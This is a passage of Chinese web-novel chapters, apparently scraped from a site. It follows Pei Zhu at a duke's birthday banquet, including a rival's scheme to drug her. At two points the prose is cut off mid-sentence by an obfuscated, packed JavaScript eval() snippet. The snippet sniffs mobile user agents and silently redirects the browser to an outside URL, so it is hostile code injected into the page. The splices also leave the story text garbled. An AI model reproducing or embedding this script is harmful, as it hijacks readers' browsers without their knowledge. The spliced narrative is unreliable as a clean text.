而前方世子妃亦面含笑意亲手扶起国公夫人,又领着寿漳郡主与其女一道向老太君拜寿,丝毫不曾拿架子。 老太君仍是乐呵呵挥手喊“快起快起”,也不知究竟有没有认出她们是谁。 待几人落座,先前话中带刺的佘大太太却忙朝着上首的世子妃奉承笑,“往日我见四弟妹那通身气派非凡,又见养的三姑娘出落得极其标致,今日见了世子妃娘娘,才知道这天下姑嫂一般气质,不愧都是从王府出来的贵人……” ——伯府五房之中,二房与四房是崔老太君嫡出,二房承袭世袭罔替国公爵位,四房的太太却是睿王之女寿漳郡主,各有各的尊贵。 裴珠不免暗叹,这高门之中果然见人下碟,这位佘大太太方才对着她们裴家姐妹就是夹枪带棒,眼下对着皇亲贵胄却是换了张面孔,张口便是极尽溢美之词。 听着这样直白的奉承,世子妃亦不堕修养,“夫人谬赞了,我这样的年纪还论些什么气质,倒是寿漳自小便天生丽质,如今望之也不过三十许人,乃至我这个宝贝外甥女知姚,更是青出于蓝……” 堂中视线顿时汇聚一处——寿漳郡主的独女,公府三小姐廉知姚,诸女眷也不顾离得远究竟有没有看清,纷纷交口称赞不止。 只见那位知姚小姐却不羞不怯,一派大方,挺直了腰背,笑中难掩傲气。 不过她也确有骄傲的资本,外祖是亲王,母亲是郡主,又生在门第显赫的公府——出生至今,恐怕从未有一刻尝过忧愁滋味。 紧挨在她另一侧的佘大太太手伸手过去,连连赞道,“三姑娘今日这一身,真是富丽逼人,这料子望着竟有光彩浮动,民间恐怕难有,莫不是宫中才有的贡缎……” 三姑娘廉知姚伸指轻掸了掸,那是大伯母方才摸过的位置,只骄矜一笑。 “大伯母言重了,这是王府从江南采办的春水缎,舅母疼爱我便赠我数匹,贵重不消提,难得是京中尚未时兴,图个新鲜雅致罢了……” 见她这自矜姿态,佘大太太面上仿若丝毫未觉,只忽然想起什么,声量恰好能传遍半间堂舍。 “那便巧了,我方才见着那位生若观音的裴家小姐,竟也穿着这料子制成的衣裳呢……” “都是水灵的姑娘家,都穿着这春水缎来为母亲贺寿,焉知不是一场缘分呢!” 她又拈着帕子拭嘴,笑了好一阵,仿佛正欣喜自个儿慧眼识了奇缘。 闻言,堂中女客们的目光不由转向另一处——片刻前曾被国公夫人亲口赞了观音痣的裴四小姐,打量起她那身装扮来。 这才发觉那佘大太太当真眼尖,虽说裴四小姐穿的是玉白缎袄,廉三小姐穿的是玉白缎裙,但若不细看,却还瞧不出来竟是同一种衣料呢。 廉知姚略抬下巴,侧头朝堂下那位裴四小姐看去,大略扫了她的模样,只见她垂目不发一言,心底便轻嗤了声。 这样缩头缩脑的女子,纵是穿着相同衣料的衣裳,也不过是东施效颦,哪儿配与她相提并论! 大伯母当真老眼昏花,糊涂至极。 她正要开口,二伯母忽然笑着先道,“衣料纹样相似,再寻常不过,姑娘家各有姝色玉貌,何须非要分出高下?大嫂,你说是不是?” 佘大太太对上了二弟妹那双看似带笑,实则警告的眼,只好讪讪应和,“那是自然……” 裴珠心底顿松了口气。 这位佘大太太也不知道是搭错了哪根筋,自她们进门拜寿起,就可劲儿挑拨生事。 ——不是挑拣裴家女的相貌,就是比较她的衣裳,句句明褒暗讽,又拱火捧杀,万一碰上个心胸狭窄的,暗地记恨上她也未可知…… 幸好还有国公夫人解围! 裴珠默默感激。 …… 堂中叙话毕,众女客起身被引入府中宴客厅中一一落座,寿宴这才正式开始,席上鲜脍珍馐罗列如锦,宾客觥筹交错,笑语连绵,裴玥和裴琼两个趁着席间喧嚣,终于憋不住凑到她耳边嘀咕。 “这佘大太太的夫君虽说是大姐夫一母同胞的兄长,但兴许是那葛姨奶奶唯独不疼幼子,使得兄弟之间的关系也冷淡至极,大姐夫跟嫡出二老爷,都比跟同胞两个兄长来得亲近些呢!” 裴珠顿时了然,公府五房中,唯有二房和五房的老爷正儿八经出仕做官,甚至两个都身居要位,又互不妨碍。 但凡他们之间没有生死大仇,是个头脑拎得清的,定要维持面上一团和气——这或许就是今日国公夫人在堂中,对她们裴家女眷如此亲切照料的原因了。 裴琼方才说完,裴玥又气恼添话,“从老公爷过世分府分家起,大房就为着西府的园子看五房不顺眼,大姐姐过府后,佘大太太更是从不给好脸色,但凡同处一室就要句句带刺……” 宴后,母亲在偏厅与其余吃茶女客叙话,她们三个结伴去暖阁更衣,路上裴玥仍小声恨恨道,“瞧吧!这高门大户里人丁繁杂,就是理不清的官司!” “你们两个,尤其是五姐姐你可要小心了,别有什么公府侯府的来说亲,就要应了嫁进去,往后可有得后悔……” 裴珠不由失笑,“我哪儿来的什么公侯之家要来说亲……” 第一任未婚夫都是几年前的事了。 裴玥却眉头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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…… 待她们回了供女客歇憩的偏厅,厅内衣香鬓影,热气熏人,裴珠待了会便觉头晕,便掀帘出来,立在檐下遥遥远眺,深吸一口清气。 雪未化尽,午后浮光,公府庭院一派繁盛堂堂。 裴珠在堂前散步消食,正转弯时,脚步却猛地一顿。 她拽起锦雀,掉头便溜。 锦雀悄声问,“姑娘,怎么了?” “前有拦路猛虎,咱们换条路走吧……” ——方才转角处几米外,恰好见方才堂中曾与自己作比的廉三小姐背对自己,正不耐烦同丫鬟说些什么。 为免正面相迎,引起不必要的矛盾,她还是走为上计! …… 在裴珠身影消失不久后。 廉知姚似有所觉,“方才谁过来了?” 贴身丫鬟青雾低眉顺眼答,“应是那位裴四姑娘……就是与姑娘穿了同样衣料的……” 廉知姚自然颇有印象,闻言不屑评道,“果真胆小如鼠……” 青雾无暇管那遁走的裴小姐,只低声再问,“姑娘当真要……倘若被郡主娘娘,或是世子妃娘娘发现了……” 她冷声强调,“那就小心行事,别让她们发现!” “不如,还是跟郡主娘娘再说说,您是她唯一的女儿,她不可能不疼您的呀……” 廉知姚哂笑,“母亲是疼我,但更爱她的姓氏……” 那个她承袭自外祖——曾经的皇子,如今的睿亲王的皇姓。 “除却姓关的宗室,母亲不可能同意让我嫁给任何人,别管他是圆是扁,是不是肥笨如猪……” 廉知姚的母亲寿漳郡主,一心要让她嫁回外祖家睿亲王府,嫁给舅舅唯一的嫡子,关尚霖。 任凭她如何反对不愿,母亲都充耳不闻。 可母亲也有死穴,她那样高傲,是万万不会允许自己的女儿,嫁给一个当众酒后失德乱性的人…… “药酒都安排好了吗?” 青雾应是,又迟疑问,“那,女子该安排谁……” 廉知姚望向檐角垂落的那枚叮当响的铜铃,缓缓浮现一抹讥诮笑意,“本来还在犹豫挑谁……眼下,不正好有个现成的人选?……” 青雾会意,重重点头。 “奴婢这便去办!” 廉知姚呵了口气,转瞬便成白雾消散。 “去吧。” 睿王府世子嫡媳,未来的王妃—— 这样的位置,白送给那畏缩小户女,他日就算她知道了内情,也该来跪谢自己! 18. 教育 裴珠领着锦雀,快步重回了女客歇憩的偏厅。 片刻前曾嫌此处热气熏人,难以呼吸,眼下只觉宽敞暖融,闲适自在。 靠东边的窗下,以魏国公夫人为首,几位勋贵夫人围坐在罗汉床旁,含笑叙着闲话——裴珠的母亲,温夫人也在其中。 稍远些,临窗设着一张花梨木大案,三四位年轻些的奶奶与姑娘正围坐着打叶子牌,牌章声响清脆,妙言笑语不绝。 席上那两座顶级尊贵大佛,显然都不在此。 “你上哪去了呀五姐姐?咱们正等你呢!” 裴琼与裴珠不知从哪儿冒出来,左右将她围住,方才席上不过匆匆只说过几句话的大姐姐裴珍亦现身在眼前,笑着望她。 ——原来,她们三个在这儿候着自己,准备一道去大姐姐的院子里瞧瞧。 毕竟裴珍出嫁以来,她们几个连公府门都从未登过,更别提她所在的西府了。 …… “自五年前老公爷去世,公府几房爷们都要分府别居,五房被分到了西府的昌园,与四房的明园相接……” 四姐妹结伴成两排,后头跟着各自的贴身丫鬟与婆子,自东府朝西府昌园而去。 走过悬挂着彩绣帷帐的长长游廊,穿过一道由数位婆子守着的月洞门,东府的宴席喧嚣便渐渐落在了身后。 “好安静啊……” 裴琼忍不住感叹。 她们正经过一条通往西府内院的复廊,一侧是面粉墙,墙上开着雕花漏窗,透过孔隙,能影影绰绰望见一谭冰池,映照日光,璀璨生金。 “啊!——” 裴玥忽地惊叫出声,俯身去摸自己的裙角。 “怎么了?” 裴珠应声抬头,却听身边的裴琼也哀呼一声,“我的裙子!——” 恰此时,不知从何处飞来了几个雪团,堪堪擦过裴珠的肩头,“啪”地在她身后的粉墙上炸开,溅开一片雪屑。 “检测到宿主人身安全受到威胁,完美人生系统自动启动!——” 脑中那个久未响起的电子音,忽又出场。 裴珠这才察觉,竟有人不知从何处正朝她们扔雪团! 还不及分神跟零零玖说话,不远处一棵老树下,传来一阵毫不掩饰的男童笑声,十足得意。 “哈哈哈哈哈——” 紧接着,跳出一个大约七八岁,穿着翠绿色锦缎棉袍的男孩,活像是雪地里刚窜出来的一把细葱,他手里握着把弹弓,冲着她们挤眉弄眼,满是挑衅。 大姐姐伸臂将她们护到身后,蹙眉朝那男童提声训道,“川儿,这几位都是母亲的妹妹,是你的姨母们,怎可如此无礼?” “还不快快过来,向姨母们赔个不是!” 那名作川儿的男孩听了这话,更是嚣张叉腰,“你才不是我的母亲!她们更不是我的姨母!我的姨母今日没来家里!” “都怪你这个毒妇!害得敏姨母不能来陪我玩——” 正说着,他竟又攥了个更大的雪团,狠狠砸在大姐姐的裙裾上,溅开一片污渍。 裴玥火冒三丈,厉声喝问,“你叫我姐姐什么!” 她比谁都更熟悉这个混账玩意儿—— 前世,就是这个小畜生故意撞倒了怀胎八月的大姐,害她难产失血过多,不幸离世! 新仇旧恨一起,裴玥眼底烧得通红,伸手便捋袖子要冲出去揍人。 胳膊却被人紧紧挟住。 转脸一看,是裴珠。 她那张常年带着狡黠笑意的面庞,也沉了下来。 “别冲动——” 旁人眼里只是小孩子胡闹,要是由着裴玥动真格揍人,反而落了话柄。 裴珠脑中的零零玖还在嘀嘀咕咕,“啊,由于宿主目前没有获得任何奖励,本系统只能启动紧急自救程序初级模式……” “还用不着你出马!” 裴珠心底飞快回道。 脸上却瞬间切换成有史以来最亲切的笑,“你叫川儿是吧?” “你还不知道吧?你的敏姨母不来陪你玩,根本不是因为我大姐姐,是因为你手上这个弹弓太差,她瞧不上——” “你胡说八道!”男孩怒道,“这是我舅舅请最好的工匠帮我做的!怎么可能差!” 裴珠向前几步,倨傲笑道,“不怪你,毕竟小小年纪,能有什么见识——” “如今京城时兴都是紫檀木做的柄,鹿筋做的皮筋,弹力十足,又经久不坏……” 她从腰间解下荷包,手指勾着伸出去晃了晃,“我平时也爱用弹弓打鸟捉鼠,随身带的最差的一副,都要比你那个强十倍……” “我才不信!” 裴珠作势要把荷包系回去,“爱信不信,我还怕你见了我这弹弓,忍不住要过来抢呢……” “谁要抢你的,我的弹弓比你好一百倍!不信就比比看啊!” 裴珠也叉腰挑眉,“比就比,谁怕你啊——” 那男孩气冲冲几步跨到她面前,将手中弹弓直递到她眼下,又用下巴点点她手中荷包,催促她快些解开。 裴珠从善如流地凑近,“喏,这就让你开开眼——” 话音未落,却右臂飞起将那男孩拦胸箍住,一把拖进廊下,左手趁其不备猛地夺过弹弓,反手向后一扬。 “裴琼接着!” “裴玥,雪团!” ——接下来就是一通“惨无人道”的蹂躏,不多不少,三个巨大雪团砸向这熊孩子的外袍,顿时一片狼藉。 他哇哇放声嚎哭,“你们都欺负我!我要告诉我舅舅姨母!——” 裴珠双手横攥住弹弓,作势要折,狞笑威胁,“不准哭!再哭我现在就将你的弹弓折断,扔进茅厕里——” 川儿打了个哭嗝,瘪嘴消音。 裴珠拍拍他蓬乱的脑袋,满意了些,“这才听话嘛!” 她再指身边犹豫不止的裴珍,正色道,“这是我大姐姐,是你父亲新娶的妻子,也是你的继母,她从不曾苛待过你,你却用那样恶毒的词称呼她,是不是你错了?” “现在立刻,道歉赔罪!” 见他嘟囔不肯说,裴珠又恶狠狠龇牙,“再敢嘴硬胡说,连你一块丢进茅厕!” 势单力薄,川儿哆嗦两下,只得哭丧着脸低头,“川儿错了,请母亲原谅……” 裴珠目光如炬,话还未完,“姨母们登门为你祖母贺寿,你却躲在背后用雪团伤人,万一姨母们不慎滑倒出事,谁来负责?” “倘若酿出人命,你能一命抵一命吗?” 提及生死二字,这顽童好像终于有些怕了,脑袋耷拉得更低。 裴珠乘胜追击,“你又做错了,是不是?” 这下不待她补充,他自己先嗫喏开口,“……我错了……” 正在此时,服侍这川哥儿的丫鬟婆子们才气喘吁吁追来,见眼前情状,个个目瞪口呆,不知所措。 裴珠却从容吩咐大姐姐房里的婆子将川哥儿抱起,又令那些赶来的下人速去取来干净衣物,一群人便就浩浩荡荡向五房的正院——昌园行去。 …… 而身后那雕花漏窗墙的另一侧,有数位青年男子定在原地许久,最后互相看了一眼,其中两个露出了些许尴尬的笑。 这两位正是成国公府的五爷与六爷,他们本是请好友一道来明园赏评孤本,途径此处,恰好围观了这场智斗小儿的大戏。 四房的廉六爷本想赶紧解释,说那不是他们府上的姑娘。 却见被簇拥在正中的那位青年,目光穿过那漏窗孔隙,怔住许久,才语带急切问,“方才那训小儿的机敏姑娘是谁?” 二房的五爷,廉知誉忙道,“回禀三公子,想来应是我们五婶婶的娘家妹妹,威远伯府裴家的小姐,今日登门来为祖母贺寿……” 眼前这位公子,亦是随他的好友程常柯,当朝礼部尚书的嫡孙,一道来府上贺寿。 只是常柯兄待他亲近中暗含恭敬,再观其雍容气度,想到常柯兄正是宫中三皇子伴读—— 此人身份,不言而喻。 只是为免惊动,个个仍称三公子。 实则应称三皇子殿下的关晟,心中忽而涌起一阵喜悦。 自雁南山一别,他时常握着那张丝帕追忆,疑心当初那位雪中抱琴的女子究竟是仙子还是鬼魅。 总归,不似凡人。 今日一见,明明她已入凡尘,却丝毫不见红尘俗气,一颦一笑,灵动至极。 这频频偶遇,更好似上天降下的因缘。 莫非,是天意正暗示于他? 一行人再度启程朝东府而去,关晟犹自沉吟,只喃喃道,“威远伯府裴家……” …… 昌园正堂。 “……成婚后,老爷总在各地公干,至今才回来过几次,府中只有我同川哥儿……” 裴珍笑得有些勉强,“还有我那位庶婆婆在……” 嫡母居在东府,又年老不记事,常年不见客,只每月初一去请安便可,但这位庶 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? 什么鬼话? 裴珠呛住。 裴玥怒而拍案而起,“什么正室侧室,他们怎么好意思提这个,大姐夫自个儿就是庶出,葛姨奶奶也是侧室!” 裴琼也愤愤不平,“葛家当年不过就是南城花匠出身,怎么还倒反天罡,过来嫌起了我们伯府?” “倒未必真的嫌弃,不过是要寻一个借口,贬低大姐姐你罢了……” 见大姐姐偏过头去,裴珠伸手牵住她的手,温声笑看她,“大姐姐貌美温柔,人又贤淑,对继子教养尽心尽力,她们挑不出来什么过错,只好借着庶出嫡出来挑事……” 裴珍缓缓转回脸来,眼里渐渐湿润。 裴珠与她四目相对,坚定道,“不过是些风凉瞎话,大姐姐你且当耳旁风罢了!真听进去,反倒着了她们的道了!” “就是就是!” 裴玥裴琼一道重重附和。 裴珠忽而问,“大姐夫再如何公务繁忙,嫡母六十大寿,他总该归家了吧?” 裴珍迟疑点头。 裴珠便压低了声音,“虽说大姐姐平日有庶婆婆和继子外家人烦扰,但也有一桩好处,你尽可好好利用起来……” 裴玥忙凑过来小声问,“什么好处……” “外面盛传葛姨奶奶不疼幼子,大姐夫又拒绝了妻妹做续弦,娶了大姐姐你,上次甚至亲口将那葛家小姐赶回了家,桩桩件件,足以见得,他与外家甚至生母,早已离心……” 也就是说,他大概率不会站在葛姨奶奶那边,做无脑妈宝男! “他如今是玄鉴司都指挥同知,平时佩刀出门都能止小儿啼哭,这样的厉害角色,怎么可能怕了外家……” 裴珠哼了声,“我看他总不回府,未必是公务繁忙,说不准是不想瞧见这一大家子,干脆眼不见心不烦……” 男人的劣根性之一,逃避。 婚后尤其显著。 “正因如此,大姐姐你更要将他拉拢过来,至少要假装与他感同身受……” “你得劝他和你统一战线,一致对外,除了川哥儿那个小屁孩外,其他人目前都是你们共同的敌人!” 裴珍若有所思,信服点头,“五妹妹你说的这些,我也有想过,只是,不知该如何去……” 裴珠这狗头军师也没有十足把握,只得尽力鼓励,“通常大姐夫这种人,吃软不吃硬,大姐姐你如今没别的办法,只能先软下态度……” “待会我们走后,你立刻命人去前院把他请过来,哭诉一通,说川哥儿眼看着也大了,胡闹伤了自家人没关系,将来去学堂念书,恐还要丢了他的颜面……” “再说川哥儿外家还有婆婆疼他是好,只是惯子如杀子,一味纵着他没有好处,你毕竟是继母,总有不好开口的时候,还需他这个父亲亲自来管教……” “如此种种,他若还是无动于衷……” 裴珠严肃强调,“那姐姐你就更要强硬对外——” 听她这娓娓道来,裴珍不知为何信心大增,一时也挺起腰板,笑着点头,又疑惑等她下文。 “然后?” 裴珠忽而奸猾一笑,“然后全都说是五老爷让你做的!” 反正他也不会回家反驳。 ——总不归家的男人等于死人,那就“死无对证”好喽! 19. 亲吻 听罢裴珠一番话,裴玥不由也暗自称是。 总归现在也没法子令姐姐和离,只能先强势立起来,另谋出路。 见姐姐眉间郁郁之色减淡了些,慢慢有些昔日在家中的模样,裴玥心下欢喜,也跟着露出了笑。 忽又想到,上辈子她们几个,也曾这样坐在一起,说起了这些体己话吗? 似乎没有。 上一世她满心艳羡姐姐嫁进公府,整日想着要去公府做客见世面,可姐姐从未给伯府下过帖子,也不曾派马车来接,久而久之,她快生出了埋怨。 直到在公府贺寿时见到姐姐,她便借机鼓动说单只带着自己去西府姐姐房中坐坐,姐姐自然为难——一家子姐妹来了,她不能厚此薄彼。 谁知裴珠竟挽了裴琼的手,笑说她们要随公府小姐们去赏梅,随即便相携跑开了。 后来她单独同姐姐去了西府,已记不清,那日有没有川哥儿出来胡闹…… 只记得姐姐眉宇之间,那浓得化不开的愁绪。 今次却不同。 她的目光掠过姐姐初现笑意的脸庞,最后悄悄停在裴珠的脸上。 午后天光透过轩窗上糊的高丽纸漫入室内,轻柔地晕在她侧脸,映得莹莹发亮,眼底流彩,真是神采飞扬。 恰似她这个人——无论身处何地,总蓬勃生光。 裴玥出神半晌,视线缓缓移向了裴珠身后,那儿挂着一幅《腊月令》图,画中远山覆雪,近处梅枝横斜,几点朱砂红蕊在素白绢面上格外醒目。 岁末将尽,腊月已至。 距离前世裴珠死去的日子,不足两月。 ——大都好物不坚牢,彩云易散琉璃脆。 裴玥心底窜出个念头,或许,她应该做些什么? 可当她的目光重新落到姐姐的脸庞时,心底又是一阵怅然,她连姐姐嫁入公府的命运都无法改变,又如何能扭转裴珠的死局? 她甚至无从知晓,裴珠上辈子离世的真正原因。 只知道,年后裴珠将应召入宫选秀,不过数日后,就突发急症逝去,就连父亲嫡母,都不曾见到她的最后一面。 而她的死,几乎是一切的混沌局面的开端。 想到此,这暖融的屋里,裴玥又不禁打了个寒颤。 …… 成国公西府这昌园与明园,原本是叫做昌明园,乃先代老公爷的别业之一,据说是为了给公府四房五房分家,才一分为二,名字也各取一字。 是以院中四处可见雕花漏窗墙,隐隐能见远处覆着薄雪的湖石,水榭的飞檐一角,真是一步一景,处处成画。 裴珠踱步至廊下,凭栏闲看园景。 另外三姐妹都在屋里,裴玥裴琼她俩的裙裾皆被雪球污得一团狼藉,大姐姐便领着她们在自己房中拣选未上过身的新衣更换。 裴珠的衣裳虽幸免于难,却拗不过她一番心意,也乖巧收下一条,收在匣子中,预备回家时带走。 正远眺檐角那对鸟雀时,不远处有两个丫鬟穿过垂花门,气喘吁吁奔了过来,高声喊着。 “裴四小姐,不好了,府上温夫人方才在偏厅里忽然昏厥了过去!” “……眼下已急请了大夫诊治,咱们夫人派奴婢来请您速去东府……” “什么!——” 顾不得多问,裴珠提了裙裾就急急冲下石阶。 莫不是冬日屋里人多炭盆烧得也旺,才熏得娘亲缺氧晕倒了? 还是今日宴席上吃了什么不该吃的,导致过敏了? 裴珠脑中猜测繁杂,心底阵阵忧虑。 当下也只得强自镇定,先向大姐姐房里的丫鬟匆匆交代了一句,便带着锦雀,随那两个报信的丫头快步往东府赶去。 只是雪地路滑,刚出昌园没几步,那来报信的丫头脚下一个踉跄,就结结实实摔倒在地,哀嚎不止,直叫着脚踝扭伤了,站不起来。 另一个丫鬟当即恳求道,“可否请裴四小姐身边的姐姐先留下,稍扶一扶奴婢这姐妹,容奴婢先引您回东院,不知能否……” 裴珠与锦雀对望一眼,锦雀当即道,“姑娘还是先随这位姐姐去,奴婢随后就到!太太安危要紧!” “好!” …… 裴珠心头纷乱如麻,跟着这丫鬟往前快步走了好一会,忽而屈膝抱腿叫痛。 “哎呦,走得太快,腿脚生疼……不行,需得缓一缓……” 那丫鬟也急急过来。 “不如,奴婢扶着您……” “好……” 好你个鬼啊! ——裴珠倏然抬步转身,提裙向来路方向狂奔。 方才一时心焦没注意,现在定睛一看,这丫鬟带她走的路,根本不是之前她从东府来的路! 更何况母亲身边跟了好几个丫鬟婆子,若她真出事,必然会是裴府下人亲自来向裴珠禀报。 怎会只派两个没见过的公府丫鬟来! 果然,眼见行迹败露,那丫鬟在身后厉声断喝。 “拦住她!” 话音未落,只见假山石后倏地闪出两个青衣小厮,张臂便朝她扑来。 ——两相其害取其轻,裴珠再度掉头,朝敌方防守“薄弱”处冲去。 她一边心中怒吼,“零零玖你人呢!现在才是我人身安全受到威胁的时候!” 零零玖瞬间上线,“启动紧急自救初级模式!提升宿主逃跑速度,闪避功能开启,闪避成功概率20%~40%——” 好……没用的功能啊…… 但脚下似乎轻快许多,似乎又真有些作用! 转眼便将身后那哼哈二将又甩远了些。 不想那拦路的丫鬟猛地从怀中掏出一只瓷瓶,扬手朝她兜头泼来—— 一阵细密的水帘,隐有诡谲香气,落到了她的脸上,刺骨冰寒。 很快,裴珠眼前逐渐天旋地转,晕晕沉沉…… 看来这破闪避功能……没能成功…… 她还是……中招了…… …… 成国公府东府外院,正厅撷英堂,此刻冠盖云集,酒暖人喧。 厅内男客自然而然分作了数团。 在朝勋贵聚在一处,高谈朝局时政,距离他们最远处,一群游手好闲浪荡子正嬉笑喧闹,中间乌木镂雕屏风后靠窗处,则汇聚了些文士打扮的青年才俊,谈论时文。 廉府五爷与六爷现身进屋,身边多了位身着湖蓝锦袍的年轻公子,向四面介绍说是自江南入京赶考的蔺三公子。 廉五爷与六爷国子监生出身,年初已补了缺,相交友人多半是勋贵之家从文的公子们,此刻见主家引见,便个个拱手见礼,不多时便一同论起诗词文墨来。 那蔺三公子虽在京城名声不显,眼下却无论诗词酬和,或是即景对联,竟每每拔得头筹,引得众人不由心生钦佩。 座中便有人四下张望,大为可惜。 “不知望之兄上哪儿去了,往日这般场合,都是他独占鳌头!” “……若他与蔺三公子联袂竞才,不知谁能更胜一筹?” …… 又有人大约是酒气上头,按捺不住冷嗤,“蔺三公子来得不巧,裴望之方才便道气闷出去了,想来是他那单薄身子,消受不起这公府佳宴吧……” 另一人笑眯眯上前,截断他的话头。 “李兄此言差矣,望之兄酒量甚浅,方才多饮了几杯公府佳酿,才暂去醒酒,此乃君子慎独之德,何来‘消受不起’一说?” 他伸手作势扇了扇风,“要我说,李兄你倒也应该效仿望之兄去醒醒酒才是,都醉得说胡话了……” “孟玉濂你——” 那称做蔺三公子的青年心间一动,低声问身旁的廉五爷,“既姓裴,莫非也是威远伯府裴家的公子?” 廉五爷隐隐察觉这位贵人的心思,犹豫一瞬,便细禀道,“是……但也不是,此人曾是威远伯府行四的裴洲,裴望之,三年前被查出并非裴府血脉,由此被除宗出府,只是还允他保留裴姓罢了……” 只是他到底与裴洲还算有几分交情,向来信奉行事但留一线,莫欺少年穷,是以此番也递了帖子请他上门来为祖母贺寿。 因此又补充道,“他亦是昌原先生的关门弟子,南直隶应天府的解元,童试亦中了小三元,算来已经四元加身……” 昌原先生,三朝帝师,兴平七年致仕,门生遍至天下,文名享誉士林,他的关门弟子,实在不容小觑。 闻言,这位蔺三公子,也就是微服出访廉家的三皇子关晟,顿时忽略了此人被除宗诸事,只不由感慨,“……他若会试仍能高中头名,殿试上陛下定将亲点他为状元!” ——成全他六元及第的惊世文名! 毕竟,上一位史有记载的六元,还是前朝太宗年间,那正是文运昌隆的太平盛世。 父皇自然愿意效仿前朝,克绍箕裘。 关晟此番借机微服来公府,本就为暗察勋贵子弟中是否有可堪用之才,眼下见此人既是已致仕的帝师弟子,又无家族负累,又有高才文名,顿生出了招揽之心。 又念及他还有那样一位仙姿玉貌的姐妹…… 他心下一动,唇角浮现一丝笑意。 已有了决定。 ——有什么,是能比姻亲更合适的笼络揽才之道呢? …… 成国公府崔老太君院外,石径积雪未消,两株老松覆着皑皑白雪,如披鹤氅。 “一别近十年,上次见你时,你我都还未生华发呢,如今膝下儿女都到了成家之年……” 成国公廉安世抚须长叹,只觉人生苦短,光阴如梭。 他这位近二十年里仅返京两次的老友闻铮,却浑不在意朗笑。 “那又如何,你能平定南疆,我能固守西北,纵马持枪血战沙场的苦,如今这些黄口小儿,有几个还吃得住?” 廉安世闻言纵声大笑,拍他肩头,“好好!咱们正当盛年呢!” 只是望着他那染了霜白的鬓角,声气却渐低了下来,“快进去吧……母亲她这几年来,时而清醒,时而只记得当年事,也不知见了你会如何……” 恰此时,院内有一位身着青缎比甲的嬷嬷悄步近前,低声禀道老夫人午间小睡已醒,二人遂整顿衣袍入内。 屋内暖香氤氲,临窗炕上靠坐着一位白发老妪,膝上披着墨绿绒毯,正合眼假寐,闻得脚步声,缓慢抬眼,那双已见苍老的眼睛先是茫然四顾,最终渐渐凝在闻铮身上—— “……铮儿?” 廉安世惊诧,“母亲竟还认得你……” 闻铮几步上前,俯身便跪在老太君膝前,喉咙哽咽,一双眼睛顿时红了,“义母,不孝子……回来看您来了……” 崔老太君反应迟缓,只慢慢抬起干瘦的手来,自他鬓角向下抚去,好一会儿,才颤抖着嘴唇道。 “你怎么也……长白头发了?” 闻铮强忍泪意,“是……铮儿如今……老了……” 崔老太君又稍稍侧过头去,朝他身后着急看了几回,再忙问,“兰娘呢?” “你怎地,不带她一起来?” 闻铮几欲张口,实在喉头嘶哑,“长姐她,她来不了了……” 老太君思索片刻,恍然道,“是了,兰娘已嫁去西北庆王府了……” 过了一会,她又追问,“那兰娘的孩子呢……” 闻铮牙关紧紧咬着,却说不出任何话来。 他竭力露出了一个笑,只是嘴角颤着,笑中带哭,不忍细观。 廉安世拭了拭湿润眼角,不由侧过了身去。 老太君如孩童般,得不到回答,便在堂下四处张望,忽而眼睛一亮,“那便是兰娘的孩子吧?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16840780|190370||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “快上前来我瞧瞧!” 廉安世顺着母亲的目光看去,那儿分明站着的是闻铮麾下的一位蒙面年轻副将,玄衣劲装,正垂首静立候在一旁。 他只得温声相劝,“这位小将军,烦请你过来叫我母亲瞧上一眼,她如今……不记事也不认人了……” “就当全她一个念想……” 蒙面小将军便应声上前来,随着闻铮一道,在崔老太君跟前,屈膝便跪了下来。 老太君这时才终于露出了个快活的笑,伸出手去,在他露出的下半张脸上轻柔抚过,静静端详。 “生得和兰娘真像呀……” 闻铮猛然垂下脸,死死忍住那喷薄的眼泪,任由它倒流回了心里去。 …… “义母虽年老不记事,一双眼睛却比清醒着的人更利些……” 出了崔老太君的院落,不久便有下人匆匆来请,道前院有贵客至,廉安世只得先与闻铮作别,再三嘱咐他不必拘束,只管在园中自在游赏便是。 待身侧只余心腹,闻铮方才望着满园积雪,这样叹出了声。 ——已作易容,又佩面具的这孩子,连他见了都快分辨不出长姐的痕迹,义母她竟能一眼认出。 不知是巧合,还是冥冥之中,有长姐魂灵在天指引。 “不过你今日为何又……?”做奚止的打扮? 闻铮本颇有犹豫,不知该不该带他来见这位好似他与长姐亲母的崔老太君,谁料这孩子竟以奚止的身份,神出鬼没入了公府,既然来了,他自是要领他来见一眼。 裴洲却有些迟疑,正要开口时,忽见几名亲卫疾步近前,向他低声禀告了几句话。 他脸色骤变,“属下先行告退。” 身影迅速消失在原地。 …… 好热。 又……好冷。 裴珠眼前模模糊糊,脑中也乱得一团浆糊,不知道哪儿有个电子音一直在响,是什么智能家电出故障了吗? 真吵啊…… “……别吵了!” “烦死了!” 身上好热,只是这热气似乎是从身体内部朝外迸发而出,她不得其法,只好胡乱扯着自己衣服,掀掉了一层,灼人的热意还是纠缠不尽…… 这是……怎么了…… 自己是发烧了吗?…… 腿脚也酸软无力,踉踉跄跄,眼睛费力也睁不开,面前景象更是糊上一层薄雾,怎么挥也驱不散…… 难不成……是在做梦? 裴珠恍然大悟。 对,只有做梦才会这样!颠三倒四,乱七八糟,又控制不了自己的身体。 忽然,有一泓辉光点亮了朦胧视野角落。 “湖!” 有水! 那就跳进去泡一泡,应该能凉快了吧! 裴珠咧着嘴笑,跌跌撞撞朝视野中那片湖水冲去—— …… “五姑娘别——” 她身后不远处,修林和另一个亲卫急得简直头顶冒烟,飞身追上前去。 那亲卫本是和自己同僚一道奉命负责暗中保护五姑娘,方才远远处置了那几个意图不轨的丫鬟小厮后,就发觉五姑娘似乎是中了药,神志不清,不久竟开始撕扯自己衣服。 他们阻拦不得,又不敢贸然触碰,更不敢直接去看,只得狼狈转身。 谁知刚转过身不久,这位小祖宗又拔步朝公府的池子奔去,眼看就要纵身投湖! 